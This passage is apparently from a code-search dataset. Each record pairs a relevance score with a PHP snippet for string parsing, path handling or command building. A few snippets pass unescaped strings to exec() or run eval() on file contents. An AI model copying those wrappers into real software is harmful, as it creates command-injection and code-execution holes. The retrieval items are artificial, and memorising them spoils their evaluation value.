CodeCoverageManager::getInstance();\n\t\t\t$result = array();\n\t\t\tforeach ($content as $file) {\n\t\t\t\t$result[$file] = $manager->__getExecutableLines(file_get_contents($file));\n\t\t\t}\n\t\t\treturn $result;\n\t\t}\n\t\t$content = h($content);\n\t\t// arrays are 0-indexed, but we want 1-indexed stuff now as we are talking code lines mind you (**)\n\t\t$content = \"\\n\" . $content;\n\t\t// // strip unwanted lines\n\t\t$content = preg_replace_callback(\"/(@codeCoverageIgnoreStart.*?@codeCoverageIgnoreEnd)/is\", array('CodeCoverageManager', '__replaceWithNewlines'), $content);\n\t\t// strip php | ?\\> tag only lines\n\t\t$content = preg_replace('/[ |\\t]*[&lt;\\?php|\\?&gt;]+[ |\\t]*/', '', $content);\n\n\t\t// strip lines that contain only braces and parenthesis\n\t\t$content = preg_replace('/[ |\\t]*[{|}|\\(|\\)]+[ |\\t]*/', '', $content);\n\t\t$result = explode(\"\\n\", $content);\n\t\t// unset the zero line again to get the original line numbers, but starting at 1, see (**)\n\t\tunset($result[0]);\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "d6a950139789fe24df817f6c158123e5", "score": "0.43428868", "text": "function serverStringToArray($str, &$array, &$frontParam)\n{\n // init param\n $array = array();\n $fronParam = \"\";\n\n // split front param, e.g. /index.php, and others, e.g. blogid=1&page=2\n if (strstr($str, \"?\")){\n list($frontParam, $args) = preg_split(\"/\\?/\", $str, 2);\n }\n else {\n $args = $str;\n $frontParam = \"\";\n }\n\n // If there is no args like blogid=1&page=2, return\n if (!strstr($str, \"=\") && !strlen($frontParam)) {\n $frontParam = $str;\n return;\n }\n\n $array = explode(\"&\", $args);\n}", "title": "" }, { "docid": "5457a88ae8b4761c83a6f423cd73e872", "score": "0.4325841", "text": "function exec_($str) {\n echo exec($str);\n}", "title": "" }, { "docid": "8af8c787a1059c6f47dd7b4510d88e8d", "score": "0.4323265", "text": "function extract()\n {\n }", "title": "" }, { "docid": "b0c9c8e3abeadc96238459e4e448e30e", "score": "0.43209738", "text": "function execute( string $contents ): string;", "title": "" }, { "docid": "66ccab0c41ec98fb583c36ca176c0ea2", "score": "0.43151847", "text": "public function getMainScriptContents()\n {\n if (null !== ($path = $this->getMainScriptPath())) {\n $path = $this->getBasePath() . DIRECTORY_SEPARATOR . $path;\n\n if (false === ($contents = @file_get_contents($path))) {\n $errors = error_get_last();\n if ($errors === null) {\n $errors = array('message' => 'failed to get contents of \\''.$path.'\\'');\n }\n\n throw new RuntimeException($errors['message']);\n }\n\n return preg_replace('/^#!.*\\s*/', '', $contents);\n }\n\n return null;\n }", "title": "" }, { "docid": "049e106dee2b734bce0eb36150b9a622", "score": "0.43099868", "text": "function getPageSegment($separator = null, $offset = 0) {\n $page = $this->getCurrentPage();\n if (!$separator) {\n if (file_exists($this->getPagePath($page))) {\n require_once $this->getPagePath($page);\n }\n return;\n }\n $path = $this->getPagePath($page);\n $string = file_get_contents($path);\n $segments = explode($separator, $string);\n if(array_key_exists($offset, $segments)){\n $segment = $segments[$offset];\n if (substr($segment, 0, 5) !== \"<?php\") {\n $segment = \"?>\" . $segment;\n }\n eval($segment);\n }\n }", "title": "" }, { "docid": "2c2682320e04e089c46a05d919a79d9c", "score": "0.43095136", "text": "function FrontgetReqRep($str, $relpace) {\r\n $reqstr = @explode($relpace, $str);\r\n return $reqstr[0];\r\n}", "title": "" }, { "docid": "c2333bece9b4462c0d1c317db27557a1", "score": "0.43048623", "text": "function hitung($string_data)\n {\n $pattern = \"/[*\\s:\\s%\\s\\-\\s]/\";\n $angka = preg_split($pattern, $string_data);\n $oprt = strpos($string_data, \"+\");\n\n }", "title": "" }, { "docid": "f46623d7f7fff03f19751f246174978b", "score": "0.4301678", "text": "static function convertStringToLinuxOrWindow_Route($str){\n\t\t$route='';\n\t\tif(preg_match(\"[/]\",$str)&&(DS!='/')){ //DS是当前系统的斜杠形式\n\t\t\t$array=explode('/',$str);\n\t\t\t$route=Tool::convertArray($array);\n\t\t\treturn $route;\n\t\t}else if(preg_match(\"[\\]\",$str)&&(DS!='\\\\')){\n\t\t\t$array=explode('\\\\',$str);\n\t\t\t$route=Tool::convertArray($array);\n\t\t\treturn $route;\n\t\t}else{\n\t\t\treturn $str;\n\t\t}\n\t\treturn 1;\n\t}", "title": "" }, { "docid": "244b9ecdcfb0f5aaa5f06f9c36b2b51a", "score": "0.42984852", "text": "function extractFromDelimiters($string, $start, $end)\n{\n if (strpos($string, $start) !== false) {\n $section_retrieved = substr($string, strpos($string, $start) + strlen($start));\n $section_retrieved = substr($section_retrieved, 0, strpos($section_retrieved, $end));\n return $section_retrieved;\n }\n return false;\n}", "title": "" }, { "docid": "1c89a42f9dc076bb86c55bee14988577", "score": "0.4285004", "text": "function ml_extract_pdf_contents($s_id){\n\t$filename = 'resume_candidates/'.$s_id.'.pdf';\n\t// Call to Python function to parse pdf file and build necessary objects.\n\t$text = json_decode(exec('python pdf_python/extract_pdf.py '.$filename), true);\n\t$text = preg_replace('/(?:(?:\\r\\n|\\r|\\n)\\s*){2}/s', \"\\n\", $text);\n\t// Compress large resume\n\tif (strlen($text)>7500)\n\t{\n\t\t$text = str_replace(array(\"\\r\\n\", \"\\n\", \"\\r\"),'', $text); \n\t}\n\t\n\t$text = utf8_decode($text);\n\t$text = strtolower($text);\n\treturn $text;\n}", "title": "" }, { "docid": "5ad66fd1317c344f46655f0815724d15", "score": "0.42640996", "text": "function abp01_wrapper_process_script($filePath) {\n $bom = pack('H*','EFBBBF');\n \n $contents = @file_get_contents($filePath);\n $contents = trim(preg_replace(\"/^$bom/\", '', $contents));\n\n return (\n '(function (L) {' . PHP_EOL .\n $contents . PHP_EOL .\n '})(window.' . ABP01_WRAPPED_LEAFLET_CONTEXT . ');'\n );\n}", "title": "" }, { "docid": "88cb68ef8b3461241d1bf68049891d58", "score": "0.42609948", "text": "public static function extractMsg (string $msg) : string {\n\t\tif (($pos = strpos ($msg, ':')) === false || ($command = \\DataLib::isInt (substr ($msg, 0, $pos))) === false || !Command::isCommand ($command)) {\n\t\t\treturn '';\n\t\t}\n\t\treturn substr ($msg, $pos + 1);\n\t}", "title": "" }, { "docid": "6b0091d45206aa3f3ee49d4565e78bd3", "score": "0.4256842", "text": "public function it_can_parse_an_edifact_string()\n {\n //\n $seg = Una::fromSegLine('UNA:+.? ');\n\n $this->assertEquals('UNA', $seg->name());\n $this->assertEquals(':', $seg->data());\n $this->assertEquals('+', $seg->dataGroup());\n $this->assertEquals('.', $seg->decimal());\n $this->assertEquals('?', $seg->terminator());\n $this->assertEquals(' ', $seg->emptyChar());\n }", "title": "" }, { "docid": "04b5af4ad2f2d019e01cba6ce1d3d156", "score": "0.4254785", "text": "public function fullCommand() {\n \n return str_finish(self::EXECUTABLE.' '.$this->options, ' ').$this->url;\n }", "title": "" }, { "docid": "ad9143a35874375433340599b061200d", "score": "0.42546692", "text": "function get_filename($filter,$string){\n preg_match($filter,$string,$matches);\n return $matches[1];\n }", "title": "" }, { "docid": "56355584a1c14ceb0834eb23888fc10c", "score": "0.4254299", "text": "public function getExecString()\n {\n $command_string = $this->_command;\n \n// get the output append string\n $output = $this->getBufferOutput();\n if(empty($output) === false)\n {\n $output = ' > '.escapeshellarg($output);\n }\n \n// get the buffer divert string.\n $buffer_divert = '';\n if(empty($output) === false || empty($tracking) === false)\n {\n $buffer_divert = ' 2>&1 &';\n }\n \n// get the failure tracking boundaries\n// and get the completion boundary\n $completion_boundary_open = '';\n $completion_boundary_close = '';\n if($this->_failure_tracking === true)\n {\n $completion_boundary_open = '((';\n $completion_boundary_close = ' && echo '.$this->_escapeBoundaryInEcho($this->_completion_boundary).') || echo '.$this->_escapeBoundaryInEcho($this->_failure_boundary).' '.$this->_escapeBoundaryInEcho($this->_completion_boundary).' '.$this->_escapeBoundaryInEcho($this->_error_code_boundary).(self::$_is_windows === false ? '$?' : '').') 2>&1';\n }\n else\n {\n $completion_boundary_open = '(';\n $completion_boundary_close = ' && echo '.$this->_escapeBoundaryInEcho($this->_completion_boundary).') 2>&1';\n }\n \n// compile the final command and track\n return $completion_boundary_open.$command_string.$completion_boundary_close.$output.$buffer_divert;\n }", "title": "" }, { "docid": "d181dec39daaeaf23a798932ad64c50b", "score": "0.4248809", "text": "function get_string_between($string, $start, $end){\n $string = \" \".$string;\n $ini = strpos($string,$start);\n if ($ini == 0) return \"\";\n $ini += strlen($start);\n $len = strpos($string,$end,$ini) - $ini;\n return substr($string,$ini,$len);\n }", "title": "" }, { "docid": "1d125148c09efd43034e5318e39202b7", "score": "0.42454523", "text": "protected function getArgs()\n {\n $uri = $_SERVER['REQUEST_URI'];\n $name = $_SERVER['SCRIPT_NAME'];\n\n if (substr($uri,0,strlen($name)) == $name) $args = substr($uri,strlen($name)+1);\n else $args = substr($uri,strlen(dirname($name)) + 1);\n\n // Need to pull out any thing after ?\n // $tmp = explode('?',$args);\n // $args = $tmp[0];\n\n // Convert to array\n $args = explode('/',$args);\n\n return $args;\n }", "title": "" }, { "docid": "6caa81c565356d34e3cce4481aafc7ca", "score": "0.42331335", "text": "function get_pre($string, $offset = false) {\r\n\t\tif($offset === false) {\r\n\t\t\t$offset = strlen($string);\r\n\t\t}\r\n\t\t$pre_code = substr($string, 0, $offset);\r\n\t\t$ancestryArray = OM::getAncestryArray($pre_code, strlen($pre_code));\r\n\t\tif(sizeof($ancestryArray) > 0) {\r\n\t\t\t//print('here834954950<br>');\r\n\t\t\t$pre = substr($pre_code, 0, $ancestryArray[sizeof($ancestryArray) - 1][2] + strlen($ancestryArray[sizeof($ancestryArray) - 1][1]));\r\n\t\t\treturn $pre;\r\n\t\t} else {\r\n\t\t\t//print('here834954951<br>');\r\n\t\t\t// get the code up to the first tag\r\n\t\t\tpreg_match('/(.*?)<\\w/is', $string, $pre_first_tag_matches);\r\n\t\t\t$pre_first_tag = $pre_first_tag_matches[1];\r\n\t\t\treturn $pre_first_tag;\r\n\t\t\t//return \"\";\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "1d75e08625acd20a426c1385bcf51a1d", "score": "0.4226004", "text": "function get_string_between($string, $start, $end){\n $string = ' ' . $string;\n $ini = strpos($string, $start);\n if ($ini == 0) return '';\n $ini += strlen($start);\n $len = strpos($string, $end, $ini) - $ini;\n return substr($string, $ini, $len);\n }", "title": "" }, { "docid": "16dabb74d53e0d5c7e8a42af562ed2c2", "score": "0.42256087", "text": "function extract_between ($text, $left, $right) {\n if (strlen($text) == 0) {\n return [];\n }\n $r = [];\n $e = 0;\n $p = 0;\n do {\n $p = strpos($text, $left, $e);\n $n = $p +1;\n $e = strpos($text, $right, $n);\n if ($p !== false && $e !== false) {\n $r[] = substr($text, $p +1, ($e - $p) -1);\n }\n $e++;\n } while ($p !== false && $e !== false);\n return $r;\n}", "title": "" }, { "docid": "61680b4ec131165d1e3913e839ff7c90", "score": "0.42118964", "text": "abstract protected function extract($file, $path);", "title": "" }, { "docid": "41c2c1a8b2364ba7a8dc4496c1e91077", "score": "0.42106426", "text": "private function getBinCommand($src)\n {\n $cmd = explode(' ', $this->check[self::PARAM_CMD]);\n $cmd[] = $src;\n\n return $cmd;\n }", "title": "" }, { "docid": "8916f5a612401010460008ad1622e9a9", "score": "0.420804", "text": "function _get_item_segments()\n{\n$segments = \"musical/instrument/\";\nreturn $segments;\n\n}", "title": "" }, { "docid": "fdb137280ccae4b297ea1eeb7de1901a", "score": "0.42023546", "text": "static function stringBetween($var1=\"\",$var2=\"\",$pool){\n\t\t\t$temp1 = strpos($pool,$var1)+strlen($var1);\n\t\t\t$result = substr($pool,$temp1,strlen($pool));\n\t\t\t$dd=strpos($result,$var2);\n\t\t\tif($dd == 0){\n\t\t\t\t$dd = strlen($result);\n\t\t\t}\n\t\t\n\t\t\treturn substr($result,0,$dd);\n\t\t}", "title": "" }, { "docid": "98a2e1ca573abf39583a70f729d8614c", "score": "0.42014858", "text": "function load_string(&$string){ // loading template from string\n\t$this->template = array();\n\tforeach (preg_split('/\\r?\\n/', $string) as $tmp) array_push($this->template, $tmp.\"\\n\");\n\tunset($this->result);\n\tunset($this->filename);\n}", "title": "" }, { "docid": "2b904c439b7c3c217c7fe3c3ae0b51ca", "score": "0.42008996", "text": "function MyApp_Setup_ParseFileName($file,$module=\"\")\n {\n if (empty($module)) { $module=$this->ModuleName; }\n\n return preg_replace\n (\n '/#Module/',\n $module,\n preg_replace\n (\n '/#Setup/',\n $this->SetupPath,\n $file\n )\n );\n }", "title": "" }, { "docid": "6c1135cf5ef18186a207862ae7cbe9c6", "score": "0.4197157", "text": "public function stdWrap_substringDataProvider() {}", "title": "" }, { "docid": "d0c9aff073fef807e11dc6bead7844cb", "score": "0.41935727", "text": "public function parseCommand():array\n {\n $text = $this->message->text ?? $this->edited_message->text ?? '';\n\n if (preg_match('/^(\\:|\\/)(\\S+)(.*?)?$/', $text, $matches)) {\n return [\n mb_strtolower($matches[2]),\n trim($matches[3])\n ];\n }\n\n return [null, null];\n }", "title": "" }, { "docid": "ea9948ec1ea4dd97dfc974248dc67735", "score": "0.4185807", "text": "protected function extract() {\n if (preg_match(\n '#^/xml/((([a-zA-Z]+)\\.([a-zA-Z_]+))?(\\.?psessionid=([0-9A-Za-z]+))?/)?([a-zA-Z0-9/]+)$#',\n $this->getPath(),\n $parts\n )) {\n !empty($parts[3]) && $this->setProduct($parts[3]);\n !empty($parts[4]) && $this->setLanguage($parts[4]);\n !empty($parts[6]) && $this->setSessionId($parts[6]);\n !empty($parts[7]) && $this->setStateName($parts[7]);\n }\n\n $this->getParam('__page') && $this->setPage($this->getParam('__page'));\n }", "title": "" }, { "docid": "ef678b0e8f210771fd56dccc4d001698", "score": "0.41785777", "text": "static function parse(string $input, $handler = [__CLASS__, 'evaluate']): string\n {\n $output = '';\n\n for ($offset = 0, $length = strlen($input); $offset < $length;) {\n $start = strpos($input, '[hcm]', $offset);\n\n if ($start === false) {\n break;\n }\n\n $argsStart = $start + 5;\n\n $end = strpos($input, '[/hcm]', $argsStart);\n\n if ($end === false) {\n break;\n }\n\n $output .= substr($input, $offset, $start - $length);\n $output .= $handler(substr($input, $argsStart, $end - $argsStart));\n $offset = $end + 6;\n }\n\n if ($offset === 0) {\n return $input;\n }\n\n if ($offset < $length) {\n $output .= substr($input, $offset);\n }\n\n return $output;\n }", "title": "" }, { "docid": "c5e589ec4a9088d74565008f21308723", "score": "0.41776037", "text": "public function determineArguments($address) {\n $explodedAddress = explode('?',$address);\n \n $explodedParams = explode('&',$explodedAddress[1]);\n\n $arguments = array_slice($explodedParams,2);\n\n foreach($arguments as $data) {\n $this->args[] .= substr($data, strpos($data, \"=\") + 1);\n }\n }", "title": "" }, { "docid": "d5f2bbdd3edee164da474b9d1dacd685", "score": "0.417086", "text": "function cpg_get_path_and_file($string) {\r\n $delimiter = '**';\r\n while (strstr($string, $delimiter) == TRUE) {\r\n $string = cpg_replace_vars_from_config($string, $delimiter);\r\n }\r\n $return['path'] = str_replace(str_replace('/', '', strrchr($string, '/')), '', $string);\r\n $return['file'] = str_replace('/', '', strrchr($string, '/'));\r\n if (strstr($return['path'], '.') != FALSE && $return['file'] == '') {\r\n $return['file'] = $return['path'];\r\n $return['path'] = '';\r\n }\r\n if (strstr($return['file'], '.') == FALSE) {\r\n $return['path'] = $return['path'].$return['file'];\r\n $return['file'] = '';\r\n }\r\n return $return;\r\n}", "title": "" }, { "docid": "55ee7ff263bbebb9eccfd8a8b8f6c89e", "score": "0.4169626", "text": "public function process_cmdmap() {}", "title": "" }, { "docid": "26612b6d72cdbc07474cb05e625b2ab2", "score": "0.41681424", "text": "function findName($part) {\n\t\t$name_cut = explode(\" \", $part, 2)[0];\n\t\t$name_cut = explode(\">\", $name_cut, 2)[0];\n\t\t$name_cut = explode(\"\\n\", $name_cut, 2)[0];\n\t\t$name_cut = preg_replace('/\\s+/', '', $name_cut);\n\t\t$name_cut = strtolower(str_replace('/', '', $name_cut));\n\t\treturn $name_cut;\n\t}", "title": "" } ]
54f458af28fc66fda82b6c1f04b78925
Private Member Functions Name: store_value() Desc: Gets the value for a certain element and stores it.
[ { "docid": "c4d669f058f7bb067e2782cb17deb963", "score": "0.6963207", "text": "private function store_value( $element_id )\r\n\t\t{\r\n\t\t\t\r\n\t\t\t// Get the element.\r\n\t\t\t$element = $this->form_object->elements[$element_id];\r\n\t\t\t\r\n\t\t\t// Element type?\r\n\t\t\tif ( $element->type == LW_Form_Element::TYPE_CHECKBOX )\r\n\t\t\t{\t\t\t\r\n\t\t\t\t\r\n\t\t\t\tif ( $element->name != '' && is_array( $_POST[$element->name] ) )\r\n\t\t\t\t\t$element->value = in_array( $element->element_value, $_POST[$element->name] );\r\n\t\t\t\telse\t\r\n\t\t\t\t\t$element->value = ($_POST[$element_id] == 'on');\r\n\t\t\t\t\r\n\t\t\t} // End if checkbox.\r\n\t\t\telse if ( $element->type == LW_Form_Element::TYPE_RADIO )\r\n\t\t\t{\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t$element->value = ($_POST[$element->name] == $element->element_value);\r\n\t\t\t\t\r\n\t\t\t} // End if radio.\r\n\t\t\telse if ( $element->type == LW_Form_Element::TYPE_FILE )\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\t$element->value = $_FILES[$element_id];\r\n\t\t\t\t\r\n\t\t\t} // End if file.\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\t\r\n\t\t\t\t$element->value = $_POST[$element_id];\r\n\t\t\t\t\r\n\t\t\t} // End else if.\r\n\t\t\t\r\n\t\t}", "title": "" } ]
[ { "docid": "025e8e89c4989d2fb4a13152d2e155a5", "score": "0.64475566", "text": "function getValue();", "title": "" }, { "docid": "c0c4496e61d0a35c0ce640803a457214", "score": "0.63801205", "text": "public function store($value, $type);", "title": "" }, { "docid": "46ac13e13a1c6238340efc069dd8ef12", "score": "0.63610685", "text": "abstract protected function getValue();", "title": "" }, { "docid": "46ac13e13a1c6238340efc069dd8ef12", "score": "0.63610685", "text": "abstract protected function getValue();", "title": "" }, { "docid": "46ac13e13a1c6238340efc069dd8ef12", "score": "0.63610685", "text": "abstract protected function getValue();", "title": "" }, { "docid": "46ac13e13a1c6238340efc069dd8ef12", "score": "0.63610685", "text": "abstract protected function getValue();", "title": "" }, { "docid": "af780d316cd8bbc7ef075643445fb238", "score": "0.61381555", "text": "function getValue(){}", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "54f555cf081d286836bb378302d85ba6", "score": "0.6134247", "text": "public function getValue();", "title": "" }, { "docid": "501a00c814ba2cb6691ec7295cec4f20", "score": "0.6120355", "text": "function &getElementValue( $name )\n {\n $ele = &$this->getElementByName( $name );\n $ret = ( is_object( $ele ) && method_exists( $ele, 'getValue' ) ) ? $ele->getValue( $value ) : '';\n return $ret;\n }", "title": "" }, { "docid": "0193485b32f10d379041ca5f0af2f381", "score": "0.6089591", "text": "public function store($key, $value);", "title": "" }, { "docid": "402acfef4163397d5c055e8b269e1729", "score": "0.6063425", "text": "function getValueForSave($ele_value) {\n global $xoopsModuleConfig;\n $myts =& MyTextSanitizer::getInstance();\n $value = array();\n $value[0] = $myts->addSlashes($ele_value[0]);\n $value[1] = !empty($ele_value[1]) ? intval($ele_value[1]) : $xoopsModuleConfig['t_max'];\n $value[2] = !empty($ele_value[2]) ? intval($ele_value[2]) : $xoopsModuleConfig['t_width']; \n return $value;\n }", "title": "" }, { "docid": "8fe9e5e399d50e1e5d76d1702f7f9050", "score": "0.60302323", "text": "abstract public function getValue();", "title": "" }, { "docid": "b3b5f0e427fdab5a419b918e45ab3b34", "score": "0.60095155", "text": "public function value($value);", "title": "" }, { "docid": "3aeba189bb584aae2b98d7fa1e92a38b", "score": "0.59397435", "text": "private static function\n get_value_from_element(\n DOMElement $element\n )\n {\n#\t echo '$element->nodeName: ' . $element->nodeName . \"\\n\";\n\n if ($element->hasAttribute('value')) {\n return $element->getAttribute('value');\n }\n#\t\techo \"attribute not set\\n\";\n#\t\techo $element->childNodes->length . \"\\n\";\n if ($element->childNodes->length > 0) {\n#\t\techo \"Found value between tags of node\\n\";\n\n return $element->nodeValue;\n }\n\n#\techo \"the child nodes: \\n\";\n\t\t\n#\tfor (\n#\t\t$i = 0;\n#\t\t$i < $element->childNodes->length;\n#\t\t$i++ \n#\t) {\n#\t\tif (get_class($element->childNodes->item($i)) == 'DOMText') {\n#\t\t\techo '$element->childNodes->item($i)->wholeText: ' . $element->childNodes->item($i)->wholeText . \"\\n\";\n#\t\t} else {\n#\t\t\techo '$element->childNodes->item($i): ' . $element->childNodes->item($i) . \"\\n\";\n#\t\t}\n#\t}\n \n return NULL;\n }", "title": "" }, { "docid": "57cb4babea1d8b9176a43c140fe34761", "score": "0.59275264", "text": "public function save_stored_data($key, $value, &$storage, $oldvalues);", "title": "" }, { "docid": "1a0610c80ff20066b3f6d3178ca7dfc9", "score": "0.59163475", "text": "function getValue()\n\t{\n\t\treturn NULL;\n\t}", "title": "" }, { "docid": "6bb55b6998ed5f606cbf7a7377ffa171", "score": "0.58875746", "text": "function getValue() { return $this->_value; }", "title": "" }, { "docid": "e5415b79140027cb05d4891fd0cc3223", "score": "0.5836282", "text": "public function getValue(){}", "title": "" }, { "docid": "e5415b79140027cb05d4891fd0cc3223", "score": "0.5836282", "text": "public function getValue(){}", "title": "" }, { "docid": "e5415b79140027cb05d4891fd0cc3223", "score": "0.5836282", "text": "public function getValue(){}", "title": "" }, { "docid": "e5415b79140027cb05d4891fd0cc3223", "score": "0.583613", "text": "public function getValue(){}", "title": "" }, { "docid": "4b0c3cc6dbc2c681a08bf7feecd165a6", "score": "0.5818119", "text": "private function transferSavedElementValues() {\r\n if(!$this->getIdListToSave()->isEmpty()) {\r\n foreach($this->getIdListToSave() as $item) {\r\n $value = $this->dataSaverAdapter->getItemValue($this->formId, $item);\r\n if($value !== false && ($element = $this->getElementById($item)) !== false) {\r\n $element->fillElement($value);\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "79015905c53ed775cebc2bae949d276b", "score": "0.577207", "text": "public function get_value()\n\t{\n\t\treturn $this->value;\n\t}", "title": "" }, { "docid": "749d9c221fbc4cf253f70ceb7b2ba417", "score": "0.57642573", "text": "public function get_value() {\n\t\n\t\t\treturn $this->value;\n\t\t}", "title": "" }, { "docid": "c82dda7b6fc637573d8aff57fd15db58", "score": "0.5727008", "text": "public function get_value()\n\t{\n\t\treturn $this->_value;\n\t}", "title": "" }, { "docid": "76a353b94199656c67f1246c1d8c0cd1", "score": "0.57216406", "text": "public function defineValue();", "title": "" }, { "docid": "dcbc2d97626b10ba9b583320abe0a748", "score": "0.57176137", "text": "public function getValue(): mixed;", "title": "" }, { "docid": "dcbc2d97626b10ba9b583320abe0a748", "score": "0.57176137", "text": "public function getValue(): mixed;", "title": "" }, { "docid": "dcbc2d97626b10ba9b583320abe0a748", "score": "0.57176137", "text": "public function getValue(): mixed;", "title": "" }, { "docid": "dcbc2d97626b10ba9b583320abe0a748", "score": "0.57176137", "text": "public function getValue(): mixed;", "title": "" }, { "docid": "abda7710efdb57d623b8f1553fcb1782", "score": "0.56969017", "text": "public function setValue(){\n\t\tif (isset($_POST[self::$value]))\n \treturn ($_POST[self::$value]);\n\t}", "title": "" }, { "docid": "2c19d7a26ad7f659df76b74a509861dc", "score": "0.5688408", "text": "function\t\t\tstore();", "title": "" }, { "docid": "256bd1ef91623e08c2255aceaa835660", "score": "0.5685356", "text": "public function saveValue() {\n if( $this->tempSave !== null ) {\n $tagName = $this->options['tag-name'];\n $this->saved[][$tagName] = $this->tempSave;\n\n $this->tempSave = null;\n }\n else {\n $this->tempSave = null;\n return false;\n }\n }", "title": "" }, { "docid": "4a5a0ab9a48c517c130785c78509dd22", "score": "0.568056", "text": "public function value();", "title": "" }, { "docid": "4a5a0ab9a48c517c130785c78509dd22", "score": "0.568056", "text": "public function value();", "title": "" }, { "docid": "1eb943f25ea6377b830cfddaa4482e61", "score": "0.56481975", "text": "function value($name){}", "title": "" }, { "docid": "7e3682736bdcea3929355d529b19113b", "score": "0.5632376", "text": "function value(){}", "title": "" }, { "docid": "2442f41b3a399e4ed83acbe31619c838", "score": "0.5621768", "text": "public function saveElementValue($elementId, $value) {\r\n /** @var $this->_mDataSaver \\FormGenerator\\FormDataSaver\\IFormDataSaver **/\r\n $this->dataSaverAdapter->addItemValue($this->formId, $elementId, $value);\r\n }", "title": "" }, { "docid": "23e1c6504f0c290d44c749928568b6ca", "score": "0.5601021", "text": "function getValue ()\r\n\t{\r\n\t\treturn $this->value;\r\n\t}", "title": "" }, { "docid": "43509c8edd30749358e59904ed93716f", "score": "0.55996186", "text": "public function get_stored_value($item, $quantity_index = null, $custom_storage = null, $is_frontend_display = false)\n {\n // Validate stored value by field id\n if ($this->validate_stored_entry($item, $quantity_index)) {\n\n // Get value access key\n $value_access_key = $this->get_value_access_key($quantity_index);\n\n // Get stored value\n $stored_value = $this->get_stored_data($item, $value_access_key);\n\n // Maybe hide empty values in frontend\n if (RightPress_Help::is_empty($stored_value) && $is_frontend_display) {\n if (($this->context_is('product_prop') && !WCCF_Settings::get('display_empty_product_prop_values')) || ($this->context_is('order_field') && !WCCF_Settings::get('display_empty_order_field_values'))) {\n return false;\n }\n }\n\n // Return stored value\n if ($stored_value !== null) {\n return $stored_value;\n }\n }\n\n // Check if we have stored value saved in version 1.x\n if (WCCF_Migration::support_for('1')) {\n\n // Get value stored in version 1.x\n $item = !is_object($item) ? $this->load_item($item) : $item;\n $stored_value = WCCF_Migration::get_stored_value_from_1($item, $this);\n\n // Value found\n if ($stored_value !== null) {\n return $stored_value;\n }\n }\n\n return false;\n }", "title": "" }, { "docid": "ce55065760f7fe587d2fddfe80cacfbd", "score": "0.5582843", "text": "public function add_value($elementid, $value, $valnr=0)\r\n\t{\t\r\n\t\tif(isset($this->elements[$elementid])){\r\n\t\t\t$this->valstore->add_value($valnr, $elementid, $value);\r\n\t\t\treturn true;\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "43b0ae62985da831cf191e565ba139ab", "score": "0.55820507", "text": "public function value( $val, $type, $id ) {\n \n \n \n }", "title": "" }, { "docid": "5d70fe58b79b900e176f884151234deb", "score": "0.55766654", "text": "function getValue(){\n return $this->_value;\n }", "title": "" }, { "docid": "e47e81c6bb115a01425d6043480ec712", "score": "0.5563288", "text": "public function get_value()\n {\n if ($this->value!=null)\n return $this->value;\n \n if ($this->type==self::RELATION_MANY)\n $this->value = $this->get_many();\n else\n \t$this->value = $this->get_single();\n\n return $this->value;\n }", "title": "" }, { "docid": "a06b896d5a660b0084b4c306f5dad985", "score": "0.55575836", "text": "public function saveValue()\n\t{\n\t\t/* Delete any existing entries */\n\t\tif( $this->groupId )\n\t\t{\n\t\t\t\\IPS\\Db::i()->delete( 'core_sys_social_group_members', array( 'group_id=?', $this->groupId ) );\n\t\t}\n\t\telse if( $this->value )\n\t\t{\n\t\t\t$this->groupId\t= \\IPS\\Db::i()->insert( 'core_sys_social_groups', array( 'owner_id' => $this->options['owner']->member_id ) );\n\t\t}\n\n\t\tif( $this->value )\n\t\t{\n\t\t\t$inserts = array();\n\t\t\tforeach( $this->value as $member )\n\t\t\t{\n\t\t\t\t$inserts[] = array( 'group_id' => $this->groupId, 'member_id' => $member->member_id );\n\t\t\t}\n\t\t\t\n\t\t\tif( count( $inserts ) )\n\t\t\t{\n\t\t\t\t\\IPS\\Db::i()->insert( 'core_sys_social_group_members', $inserts );\n\t\t\t}\n\t\t}\n\n\t\t$this->value\t= $this->groupId;\n\t}", "title": "" }, { "docid": "08025f4b9ea3efa3f98a40a4d9b658e6", "score": "0.5546511", "text": "public function itemValue($content){\n $this->_item_value = $content;\n }", "title": "" }, { "docid": "a97621c765c4903ba50096a55d47c320", "score": "0.55419767", "text": "public function getValue()\n\t{\n\t\t# code...\n\t\treturn $this->value;\n\t}", "title": "" }, { "docid": "f831716c24e9f112788e493bc1e10358", "score": "0.5540203", "text": "public function getValue() {\n\t\treturn $this->cache[$this->key];\n\t}", "title": "" }, { "docid": "ba99f805cba70bd35755fb20ff52477d", "score": "0.5539776", "text": "abstract protected function save($varValue);", "title": "" 